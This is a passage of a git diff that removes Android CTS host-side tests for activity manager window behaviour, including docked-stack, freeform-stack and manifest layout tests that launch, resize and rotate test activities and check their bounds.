-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
-    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
-    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-    private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
-    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
-
-    private static final int TASK_SIZE = 600;
-    private static final int STACK_SIZE = 300;
-
-    public void testStackList() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME));
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
-    }
-
-    public void testDockActivity() throws Exception {
-        if (!supportsMultiWindowMode() || !supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-    }
-
-    public void testNonResizeableNotDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
-        mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
-        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
-        mAmWmState.assertFrontStack(
-                "Fullscreen stack must be front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-    }
-
-    public void testLaunchToSide() throws Exception {
-        if (!supportsMultiWindowMode() || !supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-    }
-
-    public void testLaunchToSideAndBringToFront() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
-        final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        // Launch activity to side.
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, waitForFirstVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY_NAME);
-
-        // Launch another activity to side to cover first one.
-        launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.computeState(mDevice, waitForSecondVisible);
-        int taskNumberCovered = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Fullscreen stack must have one task added.",
-                taskNumberInitial + 1, taskNumberCovered);
-        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                NO_RELAUNCH_ACTIVITY_NAME);
-
-        // Launch activity that was first launched to side. It should be brought to front.
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, waitForFirstVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number in fullscreen stack must remain the same.",
-                taskNumberCovered, taskNumberFinal);
-        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
-                TEST_ACTIVITY_NAME);
-    }
-
-    public void testLaunchToSideMultiple() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        final String[] waitForActivitiesVisible =
-            new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
-
-        // Launch activity to side.
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again.
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
-        mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
-                TEST_ACTIVITY_NAME);
-        mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-    }
-
-    public void testLaunchToSideSingleInstance() throws Exception {
-        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
-    }
-
-    public void testLaunchToSideSingleTask() throws Exception {
-        launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
-    }
-
-    public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
-        launchTargetToSide(TEST_ACTIVITY_NAME, true);
-    }
-
-    private void launchTargetToSide(String targetActivityName,
-                                    boolean taskCountMustIncrement) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        final String[] waitForActivitiesVisible =
-            new String[] {targetActivityName, LAUNCHING_ACTIVITY};
-
-        // Launch activity to side with data.
-        launchActivityToSide(true, false, targetActivityName);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again with different data.
-        launchActivityToSide(true, false, targetActivityName);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberSecondLaunch = mAmWmState.getAmState()
-                .getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTasks().size();
-        if (taskCountMustIncrement) {
-            mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                    taskNumberSecondLaunch);
-        } else {
-            mAmWmState.assertEquals("Task number must not change.", taskNumberInitial,
-                    taskNumberSecondLaunch);
-        }
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again with no data.
-        launchActivityToSide(false, false, targetActivityName);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        if (taskCountMustIncrement) {
-            mAmWmState.assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
-                    taskNumberFinal);
-        } else {
-            mAmWmState.assertEquals("Task number must not change.", taskNumberSecondLaunch,
-                    taskNumberFinal);
-        }
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-    }
-
-    public void testLaunchToSideMultipleWithFlag() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        final String[] waitForActivitiesVisible =
-            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-
-        // Launch activity to side.
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
-        launchActivityToSide(false, true);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                taskNumberFinal);
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY_NAME);
-        mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-    }
-
-    public void testRotationWhenDocked() throws Exception {
-        if (!supportsMultiWindowMode() || !supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
-        // Rotate device single steps (90°) 0-1-2-3.
-        // Each time we compute the state we implicitly assert valid bounds.
-        String[] waitForActivitiesVisible =
-            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-        setDeviceRotation(0);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(1);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(2);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(3);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
-        // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
-        setDeviceRotation(1);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(3);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(0);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(2);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(0);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-    }
-
-    public void testRotationWhenDockedWhileLocked() throws Exception {
-        if (!supportsMultiWindowMode() || !supportsSplitScreenMultiWindow())  {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        launchActivityToSide();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertSanity();
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
-        String[] waitForActivitiesVisible =
-            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-        lockDevice();
-        setDeviceRotation(0);
-        unlockDevice();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        lockDevice();
-        setDeviceRotation(1);
-        unlockDevice();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        lockDevice();
-        setDeviceRotation(2);
-        unlockDevice();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        lockDevice();
-        setDeviceRotation(3);
-        unlockDevice();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-    }
-
-    public void testResizeDockedStack() throws Exception {
-        if (!supportsMultiWindowMode() || !supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
-        launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME},
-                false /* compareTaskAndStackBounds */);
-        mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain fullscreen stack",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        assertEquals(new Rectangle(0, 0, STACK_SIZE, STACK_SIZE),
-                mAmWmState.getAmState().getStackById(DOCKED_STACK_ID).getBounds());
-        mAmWmState.assertDockedTaskBounds(TASK_SIZE, DOCKED_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
-    }
-
-    public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
-        if (!supportsMultiWindowMode() || !supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-        final String[] waitTestActivityName = new String[] {TEST_ACTIVITY_NAME};
-        executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME));
-        mAmWmState.computeState(mDevice, waitTestActivityName);
-        final Rectangle fullScreenBounds =
-                mAmWmState.getWmState().getStack(FULLSCREEN_WORKSPACE_STACK_ID).getBounds();
-
-        moveActivityToDockStack(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, waitTestActivityName);
-        launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice,
-                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-        final Rectangle initialDockBounds =
-                mAmWmState.getWmState().getStack(DOCKED_STACK_ID).getBounds();
-
-        clearLogcat();
-
-        Rectangle newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
-        resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
-        mAmWmState.computeState(mDevice,
-                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-
-        // We resize twice to make sure we cross an orientation change threshold for both
-        // activities.
-        newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
-        resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
-        mAmWmState.computeState(mDevice,
-                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-        assertActivityLifecycle(TEST_ACTIVITY_NAME, true);
-        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false);
-    }
-
-    private Rectangle computeNewDockBounds(
-            Rectangle fullscreenBounds, Rectangle dockBounds, boolean reduceSize) {
-        final boolean inLandscape = fullscreenBounds.width > dockBounds.width;
-        // We are either increasing size or reducing it.
-        final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
-        final Rectangle newBounds = new Rectangle(dockBounds);
-        if (inLandscape) {
-            // In landscape we change the width.
-            newBounds.width *= sizeChangeFactor;
-        } else {
-            // In portrait we change the height
-            newBounds.height *= sizeChangeFactor;
-        }
-
-        return newBounds;
-    }
-
-    private void launchActivityToSide() throws Exception {
-        launchActivityToSide(false, false);
-    }
-
-    private void launchActivityToSide(boolean randomData, boolean multipleTaskFlag)
-            throws Exception {
-        launchActivityToSide(randomData, multipleTaskFlag, null);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
deleted file mode 100644
index 565f475..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-
-public class ActivityManagerFreeformStackTests extends ActivityManagerTestBase {
-
-    private static final String TEST_ACTIVITY = "TestActivity";
-    private static final int TEST_TASK_OFFSET = 20;
-    private static final int TEST_TASK_OFFSET_2 = 100;
-    private static final int TEST_TASK_SIZE_1 = 900;
-    private static final int TEST_TASK_SIZE_2 = TEST_TASK_SIZE_1 * 2;
-    // NOTE: Launching the FreeformActivity will automatically launch the TestActivity
-    // with bounds (0, 0, 900, 900)
-    private static final String FREEFORM_ACTIVITY = "FreeformActivity";
-    private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
-    private static final String NO_RELAUNCH_ACTIVITY = "NoRelaunchActivity";
-
-    public void testFreeformWindowManagementSupport() throws Exception {
-
-        launchActivityInStack(FREEFORM_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice, new String[] {FREEFORM_ACTIVITY, TEST_ACTIVITY});
-
-        if (!supportsFreeform()) {
-            mAmWmState.assertDoesNotContainStack(
-                    "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
-            return;
-        }
-
-        mAmWmState.assertFrontStack(
-                "Freeform stack must be the front stack.", FREEFORM_WORKSPACE_STACK_ID);
-        mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-        mAmWmState.assertFocusedActivity(
-                TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
-        assertEquals(new Rectangle(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
-                mAmWmState.getAmState().getTaskByActivityName(TEST_ACTIVITY).getBounds());
-    }
-
-    public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
-        launchActivityInStack(NON_RESIZEABLE_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY});
-
-        final ActivityTask task =
-                mAmWmState.getAmState().getTaskByActivityName(NON_RESIZEABLE_ACTIVITY);
-        final ActivityStack stack = mAmWmState.getAmState().getStackById(task.mStackId);
-
-        if (task.isFullscreen()) {
-            // If the task is on the fullscreen stack, then we know that it will have bounds that
-            // fill the entire display.
-            return;
-        }
-
-        // If the task is not on the fullscreen stack, then compare the task bounds to the display
-        // bounds.
-        assertEquals(mAmWmState.getWmState().getDisplay(stack.mDisplayId).getDisplayRect(),
-                task.getBounds());
-    }
-
-    public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
-        launchActivityInStack(TEST_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-        launchActivityInStack(NO_RELAUNCH_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
-        if (!supportsFreeform()) {
-            mAmWmState.assertDoesNotContainStack(
-                    "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
-            return;
-        }
-
-        resizeActivityTask(TEST_ACTIVITY,
-                TEST_TASK_OFFSET, TEST_TASK_OFFSET, TEST_TASK_SIZE_1, TEST_TASK_SIZE_2);
-        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
-                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, TEST_TASK_SIZE_1, TEST_TASK_SIZE_2);
-
-        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
-        clearLogcat();
-        resizeActivityTask(TEST_ACTIVITY,
-                TEST_TASK_OFFSET, TEST_TASK_OFFSET, TEST_TASK_SIZE_2, TEST_TASK_SIZE_1);
-        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
-                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, TEST_TASK_SIZE_2, TEST_TASK_SIZE_1);
-        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
-        assertActivityLifecycle(TEST_ACTIVITY, true);
-        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY, false);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
deleted file mode 100644
index 66d250e..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import junit.framework.Assert;
-
-import java.awt.Rectangle;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.WindowManagerState.Display;
-
-import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-public class ActivityManagerManifestLayoutTests extends ActivityManagerTestBase {
-
-    // Test parameters
-    private static final int DEFAULT_WIDTH_DP = 240;
-    private static final int DEFAULT_HEIGHT_DP = 160;
-    private static final float DEFAULT_WIDTH_FRACTION = 0.25f;
-    private static final float DEFAULT_HEIGHT_FRACTION = 0.35f;
-    private static final int MIN_WIDTH_DP = 100;
-    private static final int MIN_HEIGHT_DP = 80;
-
-    private static final int GRAVITY_VER_CENTER = 0x01;
-    private static final int GRAVITY_VER_TOP    = 0x02;
-    private static final int GRAVITY_VER_BOTTOM = 0x04;
-    private static final int GRAVITY_HOR_CENTER = 0x10;
-    private static final int GRAVITY_HOR_LEFT   = 0x20;
-    private static final int GRAVITY_HOR_RIGHT  = 0x40;
-
-    private List<WindowState> mTempWindowList = new ArrayList();
-    private Display mDisplay;
-    private WindowState mWindowState;
-
-    public void testGravityAndDefaultSizeTopLeft() throws Exception {
-        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_LEFT, false /*fraction*/);
-    }
-
-    public void testGravityAndDefaultSizeTopRight() throws Exception {
-        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_RIGHT, true /*fraction*/);
-    }
-
-    public void testGravityAndDefaultSizeBottomLeft() throws Exception {
-        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_LEFT, true /*fraction*/);
-    }
-
-    public void testGravityAndDefaultSizeBottomRight() throws Exception {
-        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_RIGHT, false /*fraction*/);
-    }
-
-    public void testMinimalSizeFreeform() throws Exception {
-        if (!supportsFreeform()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
-            return;
-        }
-        testMinimalSize(FREEFORM_WORKSPACE_STACK_ID);
-    }
-
-    public void testMinimalSizeDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
-            return;
-        }
-        testMinimalSize(DOCKED_STACK_ID);
-    }
-
-    private void testMinimalSize(int stackId) throws Exception {
-        final String activityName = "BottomRightLayoutActivity";
-
-        // Issue command to resize to <0,0,1,1>. We expect the size to be floored at
-        // MIN_WIDTH_DPxMIN_HEIGHT_DP.
-        if (stackId == FREEFORM_WORKSPACE_STACK_ID) {
-            launchActivityInStack(activityName, stackId);
-            resizeActivityTask(activityName, 0, 0, 1, 1);
-        } else { // stackId == DOCKED_STACK_ID
-            launchActivityInDockStack(activityName);
-            resizeDockedStack(1, 1, 1, 1);
-        }
-        getDisplayAndWindowState(activityName, false);
-
-        final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
-        final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
-        final Rectangle containingRect = mWindowState.getContainingFrame();
-
-        Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width);
-        Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height);
-    }
-
-    private void testLayout(
-            int vGravity, int hGravity, boolean fraction) throws Exception {
-        if (!supportsFreeform()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
-            return;
-        }
-
-        final String activityName = (vGravity == GRAVITY_VER_TOP ? "Top" : "Bottom")
-                + (hGravity == GRAVITY_HOR_LEFT ? "Left" : "Right") + "LayoutActivity";
-
-        // Launch in freeform stack
-        launchActivityInStack(activityName, FREEFORM_WORKSPACE_STACK_ID);
-
-        getDisplayAndWindowState(activityName, true);
-
-        final Rectangle containingRect = mWindowState.getContainingFrame();
-        final Rectangle appRect = mDisplay.getAppRect();
-        final int expectedWidthPx, expectedHeightPx;
-        // Evaluate the expected window size in px. If we're using fraction dimensions,
-        // calculate the size based on the app rect size. Otherwise, convert the expected
-        // size in dp to px.
-        if (fraction) {
-            expectedWidthPx = (int) (appRect.width * DEFAULT_WIDTH_FRACTION);
-            expectedHeightPx = (int) (appRect.height * DEFAULT_HEIGHT_FRACTION);
-        } else {
-            final int densityDpi = mDisplay.getDpi();
-            expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
-            expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
-        }
-
-        verifyFrameSizeAndPosition(
-                vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
-    }
-
-    private void getDisplayAndWindowState(String activityName, boolean checkFocus)
-            throws Exception {
-        final String windowName = getWindowName(activityName);
-
-        mAmWmState.computeState(mDevice, true /* visibleOnly */, new String[] {activityName});
-
-        if (checkFocus) {
-            mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
-        } else {
-            mAmWmState.assertVisibility(activityName, true);
-        }
-
